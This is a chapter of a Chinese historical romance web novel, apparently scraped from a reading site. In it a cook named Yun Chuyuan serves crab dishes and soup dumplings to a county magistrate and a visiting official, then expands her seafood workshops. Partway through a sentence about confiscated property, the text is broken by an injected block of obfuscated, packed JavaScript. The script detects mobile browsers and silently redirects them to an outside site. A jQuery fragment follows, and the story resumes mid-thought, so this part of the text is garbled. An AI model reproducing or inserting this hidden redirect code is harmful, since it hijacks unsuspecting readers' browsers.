三人围坐,执箸伸向盘中蟹,其中要数云楚沅吃螃蟹的花样最多。
她掀开蟹盖,挖取里面的金黄蟹膏,轻轻敲碎蟹腿,剔出细腻嫩肉,而后将蟹肉与蟹黄一同置于蟹盖上,放上一勺米饭拌着吃。
再从手边的小碟子里拿起一片海苔,舀上一勺蟹肉拌饭,塞进嘴里大口咀嚼,酥脆与软糯充斥着口腔,她的眼神中满是沉醉。
裴昱臣见她又是卷小饼,又是裹海苔,吃法花样百出,嘴角微勾,“楚沅,每回看你吃的这么香,我都能多用两碗饭。”
“嘻嘻,有我在你身边,是裴大哥你的福气。”云楚沅嘿嘿一笑,看来她很有做吃播的潜力。
“楚河和楚清呢?你怎么没把他们叫过来一起吃?”
云楚沅回道:“他们两个没规没矩的,在西院吃就行了,省得啃起螃蟹来的粗犷样子吓到客人。”
裴昱臣点点头:“也好,两个孩子在自己房间用膳更自在些。”
在哪儿都自在的云楚沅向裴昱臣不停安利:“裴大哥,你一定要尝尝这个海苔蟹黄拌饭,真的绝了!”
原来云楚沅吃不过瘾,又重新拿了个碗,将米饭、蟹黄、蟹肉、调料混在一起,撒上撕成碎片的海苔碎,搅拌成了一大份拌饭。
裴昱臣接过云楚沅盛给他一小碗拌饭,拿起筷子夹起一小撮裹满蟹黄的米饭,嘴唇轻抿,随着牙齿细细咀嚼,他的脸颊微微鼓动,却依旧难掩那副优雅的姿态。
“咸香微甜,软软糯糯的拌饭,夹杂着酥酥海苔脆,吃起来口感很不错。”裴昱臣咽下嘴里的食物后,方才看向眼睛亮亮的云楚沅,露出一抹笑。
“是吧是吧,好吃你就多吃点!”喜欢的东西得到别人的认可,云楚沅开心的不行。
宛如透明人一般的严清肃停下了嗦蟹腿的动作,他看着眼前四目相对、含情脉脉的两人,默默不语,叫谁来也不会认为他们是单纯的雇佣关系。
严清肃想入非非,不由将京城里兴起的话本子里的故事套用在他们身上,“俊书生与俏厨娘”,“县令大人与小厨娘不得不说的二三事”。
越想他越觉得这两人有苗头,鉴于裴贤侄死不承认的态度,严清肃决定多多观察,把他瞧见的蛛丝马迹统统记下来,回京告诉袭兄,让他这位做师父的亲自评判。
不过有一点贤侄说的没错,这位云姑娘的厨艺当真了不得,单是清蒸蟹的蘸料就让人眼前一亮。
抱着满满的期待,严清肃夹了一只红彤彤和香辣蟹和一只黄灿灿的咸蛋黄蟹,分别尝了几口。
香辣炒蟹,红亮的茱萸包裹着蟹块,香辣气息扑鼻,蟹壳炸制过后变得酥脆,蟹肉紧实弹牙;咸蛋黄焗蟹,沙沙的咸蛋黄与鲜嫩的蟹肉相结合,风味独特,咸香四溢。
严清肃情不自禁地又多夹了两只,这螃蟹在京城不常见,好吃的螃蟹那是更难得了,毫不夸张的说,这是他有生以来吃过最味美的蟹。
“严伯,如何?”裴昱臣轻笑一声,见严清肃逮着两盘蟹不停下筷,吃的满嘴流油,显然是被他的小厨娘的好手艺征服了,裴昱臣与有荣焉。
“咳,尚可。”严清肃用手抹了把嘴,擦去红油,佯装镇定地说道。
此时的严指挥使哪里还有公堂上的那副威严样子,俨然是一位沉迷于美食的寻常食客,云楚沅面对大官的那种紧张感消退了不少,她笑着对丫鬟说道:“去将蟹黄汤包呈上来吧。”
这蟹黄汤包要趁热吃才好吃,所以云楚沅让下人先把那几道螃蟹端上来,等客人全都品尝过后,再上汤包。
毕竟多吃几只螃蟹,又不会吃撑,要是先上汤包,云楚沅怕他们一下子吃饱了,肚子里没位置留给其他菜肴了。
两笼热气腾腾的蟹黄汤包被端上了桌,那氤氲的蒸汽为这道吃食蒙上了一层神秘的面纱,引得裴昱臣和严清肃两人的目光被其牢牢吸引。
云楚沅站起身来,手里垫着块湿布子将蒸笼盖掀开,一股热气瞬间涌了出来,把桌子周围衬托得像是一片仙境。
“这是蟹黄汤包,还请两位大人品尝。”云楚沅自信满满,这可是今日的重头戏,没有人会不爱汁水饱满、鲜到掉牙的汤包的。
裴昱臣向来捧场,他率先夸赞:“这蟹黄汤包,模样精致,褶皱均匀,定是一双巧手捏出来的花边。面皮薄如蝉翼,仿若凝脂,透过这层轻薄的阻碍,隐约能窥见内里的乾坤。单论这外形,便已是令人惊叹。”
云楚沅笑眯了眼,这文采斐然的小书生说话就是好听。
严清肃微微颔首,表示认同,他用筷子轻轻夹起一只汤包,那小巧玲珑的包子一被提起来便晃个不停,像是一张颇有韧性的绸缎快要兜不住里面的东西。
小心翼翼地将其置于玉碟之中,严清肃细细端详,而后笑着说道:“贤侄所言极是,这汤汁呼之欲出,闻起来仿佛汇聚了蟹黄的鲜香和高汤的浓郁。”
云楚沅斜看了他一眼,这位指挥使大人鼻子还真灵,里面的皮冻可是她熬了一个时辰的浓汤凝结而成的。
严清肃轻轻咬破汤包的一角,里面的汁水迫不及待地淌了出来,他啜饮了一口汤汁,脸上渐渐浮现出满足的神情。
而后严清肃将整只汤包吃了下去,闭目回味片刻,他开口赞叹:“此汤汁入口,便有一股鲜甜味在舌尖绽放开来,馅料更是一绝,蟹黄配上这软糯又不失筋道的面皮,吸饱了汤汁的精华,这滋味当真是妙不可言。”
裴昱臣尝过后,点头称是:“的确如此,这汤包看似平凡,实则内藏玄机。吃起来既有嚼劲,又带着汤汁的鲜香,实乃人间至味。”
云楚沅一副飘飘欲仙的样子,她快被夸得找不到北了,“两位大人快趁热吃吧,我已经在膳房吃过了。”
脱口而出的话,暴露了她偷吃的事实,裴昱臣忍俊不禁。
院中蟹香萦绕,待他们用完午膳后,桌上的蟹壳堆叠成小山,而口中余味久久不散,满足之意溢于言表,仿若将这个时节的丰饶都纳入腹中。
——
送走严指挥使后,裴昱臣一头扎进了处理公务中,他带着陈县丞和梁捕头一起,将徐家的家产好好清算了一遍。
金银财宝全部充公,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958667|177545||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有侵占他人的田地全部返还了回去,云楚沅又出银子买下了几处地理位置优越的铺子,其中就包括徐记粮铺和湘香馆。
没了蛀虫,裴昱臣和云楚沅大刀阔斧地发展临海县,街上的加工坊如雨后春笋般冒了出来。
小渔村的加工坊已经满足不了市场需求了,面积小,生产效率低,已经渐渐跟不上云记海味坊的售卖速度了。
为此,云楚沅在临海县开设了多家海产品加工坊,并将海鲜制品分成了酱料、干货、零食三类。
酱料加工坊主要制作蚝油、海鲜酱、蟹黄酱等调味料;干货加工坊用来处理干贝、虾干、海参干、鲍鱼干等需要晾晒的海鲜;零食加工坊主要负责做鱿鱼丝、鳕鱼片、小鱼干、海苔等零食。
这么多加工坊的出现,势必要继续招工,临海县越来越多的百姓有了月钱高、稳定而又轻松的工作。
能够养家糊口之后,百姓们的生活水平也有了提高,偶尔去云记食肆打打牙祭,或是去海味坊给孩子买上一些解馋的小零食,成了不少人都会做的事。
不知不觉间,“云记”已经成了临海县百姓常常挂在嘴边的两个字。
提起云记铺子,大家都会赞不绝口,不仅仅是因为云记的东西物美价廉,更重要的是老板人美心善,大家纷纷以能在云记做工为荣。
眼见着临海县一片欣欣向荣的景象,云楚沅的心思又活泛起来,她为远在江南的宋家少爷写了封信。
信上提出了云记即将设立商行,想要与宋家进一步合作,并诚邀他来临海县亲自参观,云楚沅洋洋洒洒写了十多页纸,言辞恳切,为宋家主画了张大饼。
这封邀请信由周掌柜帮忙寄了出去,云楚沅对宋家是否会答应她的请求有些不确定。
虽然在云楚沅的心里,自己的方案哪哪都好,一旦双方合作,那是能够共赢的好事,可她又不能左右别人的想法。
万一宋家赚的银子够多了,不想再冒险呢?万一宋家不信任她这位出身小渔村的女子呢?
云楚沅的心里很矛盾,她已经信誓旦旦地和裴昱臣作出了承诺,这要是不成功,岂不是要被笑话。
“裴大哥,你说宋家会愿意来我们临海县投资吗?”
胡思乱想的云楚沅又一次闯进裴昱臣的书房,想要问问他的看法。
裴昱臣抬头看了看神色茫然的云楚沅,请她坐了下来。
“楚沅,这可不像你啊,雷厉风行的小丫头何时也会瞻前顾后了?”裴昱臣笑着打趣她。
云楚沅一扭身子,双手交叉抱在胸前,粉嫩的嘴唇轻轻嘟起,小巧的鼻翼微微翕动,表达着自己的不满,“裴大哥,我这都是为了谁?还不是怕你失望嘛。”
“楚沅,你的所作所为我都瞧在眼里,我永远不会对你失望的。”裴昱臣的声音低沉,宛如潺潺流淌的清泉,让心烦意乱的云楚沅渐渐平复了下来。
“真的?”云楚沅睨了他一眼。
裴昱臣眼神温柔,嘴角露出一抹浅笑,“县衙有了银子,即便没人愿意来投资,我们也可以自己修路走出去。”